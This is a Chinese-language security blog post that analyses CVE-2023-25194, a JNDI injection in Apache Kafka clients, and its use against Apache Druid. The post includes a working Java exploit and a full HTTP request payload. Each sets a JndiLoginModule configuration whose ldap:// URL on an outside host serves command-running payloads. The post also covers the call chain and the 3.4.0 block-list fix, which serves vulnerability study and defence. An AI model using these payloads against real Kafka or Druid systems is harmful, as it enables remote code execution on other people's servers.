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Kafka JNDI 注入分析(CVE-2023-25194)

发表于:2023-11-10 10:36 作者: 活动侠 阅读数(2560人)

Apache Kafka Clients Jndi Injection

漏洞描述

Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端,对 Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行 JNDI 注入来实现远程代码执行。

影响范围

2.4.0 <= Apache Kafka <= 3.3.2

前置知识

Kafka 是什么

Kafka 是一个开源的分布式消息系统,Kafka 可以处理大量的消息和数据流,具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域,如日志收集、数据传输、流处理等场景。

感觉上和 RocketMQ 很类似,主要功能都是用来进行数据传输的。

Kafka 客户端 SASL JAAS 配置

简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架,在 Kafka 的实际应用当中表现为 JAAS。

Java 认证和授权服务(Java Authentication and Authorization Service,简称 JAAS)是一个 Java 以用户为中心的安全框架,作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点

参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。

服务端配置

1、通常在服务器节点下配置服务器 JASS 文件,例如这里我们将其命名为 kafka_server_jaas.conf,内容如下

KafkaServer {
  org.apache.kafka.common.security.plain.PlainLoginModule required
  username="eystar"
  password="eystar8888"
  user_eystar="eystar8888"
  user_yxp="yxp-secret";
};

说明:

username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。

user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息,即创建一个用户名为 eystar,密码为 eystar8888 的用户身份信息,kafka 代理对其进行身份验证,可以创建多个用户,格式 user_XXX=”XXX”

2、如果处于静态使用中,需要将其加入到 JVM 启动参数中,如下

if [ "x$KAFKA_OPTS" ]; then

   export KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf"

fi

https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config

客户端配置

基本同服务端一致,如下步骤

1、配置客户端 JAAS 文件,命名为 kafka_client_jaas.conf

KafkaClient {
      org.apache.kafka.common.security.plain.PlainLoginModule required
      username="eystar"
      password="eystar8888";
};

2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config

sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \
   username="eystar" \
password="eystar8888";
// 即配置属性:(后续会讲到也能够动态配置,让我想起了 RocketMQ)
Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";";
);

Kafka 客户端动态修改 JAAS 配置

方式一:配置 Properties 属性,可以注意到这一个字段的键名为 sasl.jaas.config,它的格式如下

loginModuleClass controlFlag (optionName=optionValue)*;

其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证,可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule,JDK 自带的 loginModule 位于 com.sun.security.auth.module

module

//安全模式 用户名 密码
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");

方式二:设置系统属性参数

// 指定kafka_client_jaas.conf文件路径 
String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf";
System.setProperty("java.security.auth.login.config", confPath);

实现代码

消费者

public class TestComsumer {

  public static void main(String[] args) {

       Properties props = new Properties();
       props.put("bootstrap.servers", "192.168.1.176:9092");
       props.put("group.id", "test_group");
       props.put("enable.auto.commit", "true");
       props.put("auto.commit.interval.ms", "1000");
       props.put("key.deserializer",
               "org.apache.kafka.common.serialization.StringDeserializer");
       props.put("value.deserializer",
               "org.apache.kafka.common.serialization.StringDeserializer");
       // sasl.jaas.config的配置
       props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
       props.setProperty("security.protocol", "SASL_PLAINTEXT");
       props.setProperty("sasl.mechanism", "PLAIN");

       KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);
       consumer.subscribe(Arrays.asList("topic_name"));
       while (true) {
          try {
               ConsumerRecords<String, String> records = consumer.poll(Duration
                      .ofMillis(100));
               for (ConsumerRecord<String, String> record : records)
                   System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",
                           record.offset(), record.partition(), record.key(), record.value());
         
          } catch (Exception e) {
               e.printStackTrace();
          }
      }

   
  }

}

生产者

public class TestProduce {

   public static void main(String args[]) {

       Properties props = new Properties();

       props.put("bootstrap.servers", "192.168.1.176:9092");
       props.put("acks", "1");
       props.put("retries", 3);
       props.put("batch.size", 16384);
       props.put("buffer.memory", 33554432);
       props.put("linger.ms", 10);
       props.put("key.serializer",
               "org.apache.kafka.common.serialization.StringSerializer");
       props.put("value.serializer",
               "org.apache.kafka.common.serialization.StringSerializer");

       //sasl
       props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
       props.setProperty("security.protocol", "SASL_PLAINTEXT");
       props.setProperty("sasl.mechanism", "PLAIN");

       Producer<String, String> producer = new KafkaProducer<>(props);
       
      /**
       * ProducerRecord 参数解析 第一个:topic_name为生产者 topic名称,
       * 第二个:对于生产者kafka2.0需要你指定一个key
       * ,在企业应用中,我们一般会把他当做businessId来用,比如订单ID,用户ID等等。 第三个:消息的主要信息
       */

       try {
             producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));

      } catch (InterruptedException e) {
              e.printStackTrace();
      }

  }

}

漏洞复现

漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处

lookup.png

理顺逻辑很容易构造出 EXP

import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.clients.producer.KafkaProducer;

import java.util.Properties;

public class EXP {
  public static void main(String[] args) throws Exception {
      Properties properties = new Properties();
      properties.put("bootstrap.servers", "127.0.0.1:1234");
      properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");
      properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");

      properties.put("sasl.mechanism", "PLAIN");
      properties.put("security.protocol", "SASL_SSL");
      properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +
              "required " +
              "user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +
              "useFirstPass=\"true\" " +
              "group.provider.url=\"xxx\";");

      KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);
      kafkaConsumer.close();
  }
}

EXP.png

漏洞分析

前面有非常多的数据处理与赋值,这里就跳过了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder(),跟进。

createChannelBuilder.png

继续跟进,这里会先判断 SASL 模式是否开启,只有开启了才会往下跟进到 create() 方法

SASL_SSL.png

跟进 create() 方法,做完客户端的判断和安全协议的判断之后,调用了 loadClientContext() 方法,跟进,发现其中还是加载了一些配置。

loadClientContext.png

跳出来,跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。

LoginManager.png

跟进 login() 方法,此处 new LoginContext(),随后调用 login() 方法,跟进

loginContext.png

这里会调用 JndiLoginModuleinitialize() 方法

moduleStack.png

初始化完成之后,此处调用 JndiLoginModulelogin() 方法,最后到 JndiLoginModuleattemptAuthentication() 方法,完成 Jndi 注入。

down.png

漏洞修复

在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单

org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed

private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {
   Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());
   String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();
   if (disallowedLoginModuleList.contains(loginModuleName)) {
       throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);
  }
}

Apache Druid RCE via Kafka Clients

影响版本:Apache Druid <= 25.0.0

Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE

有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE

  • 漏洞 UI 处触发点:Druid Web Console - Load data - Apache Kafka

在这里可以加载 Kafka 的 Data,其中可以修改配置项 sasl.jaas.config,由此构造 Payload

POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 124.222.21.138:8888
Content-Length: 916
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43
Content-Type: application/json
Origin: http://124.222.21.138:8888
Referer: http://124.222.21.138:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Connection: close

{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234",
"sasl.mechanism":"SCRAM-SHA-256",
              "security.protocol":"SASL_SSL",
              "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

druidAttack.png

success-25194.png

druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程

KafkaRecordSupplier.png

而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置

Apache Druid 26.0.0 更新了 kafka 依赖的版本

https://github.com/apache/druid/blob/26.0.0/pom.xml#L79

druidNewVersion.png